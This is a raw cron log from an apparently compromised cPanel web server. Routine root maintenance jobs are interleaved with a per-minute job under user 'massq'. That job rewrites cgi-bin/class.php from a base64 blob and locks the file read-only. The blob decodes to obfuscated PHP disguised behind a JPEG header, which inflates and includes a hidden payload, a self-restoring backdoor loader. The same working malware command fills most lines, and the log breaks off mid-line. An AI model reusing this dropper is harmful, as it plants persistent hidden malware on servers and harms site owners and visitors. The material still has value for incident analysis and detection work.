Apr 11 04:30:01 server CROND[19853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:31:01 server CROND[19970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:32:01 server CROND[20012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:33:01 server CROND[20064]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:34:01 server CROND[20124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:35:02 server CROND[20173]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 04:35:02 server CROND[20174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:35:02 server CROND[20175]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 04:35:02 server CROND[20177]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 04:35:02 server CROND[20176]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 04:36:01 server CROND[20281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:37:01 server CROND[20355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:38:01 server CROND[20489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:39:01 server CROND[20539]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 04:39:01 server CROND[20538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:40:01 server CROND[20594]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 04:40:01 server CROND[20595]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 04:40:01 server CROND[20596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:40:01 server CROND[20597]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 04:41:01 server CROND[20697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:42:01 server CROND[20748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:42:01 server CROND[20749]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 04:43:01 server CROND[20906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd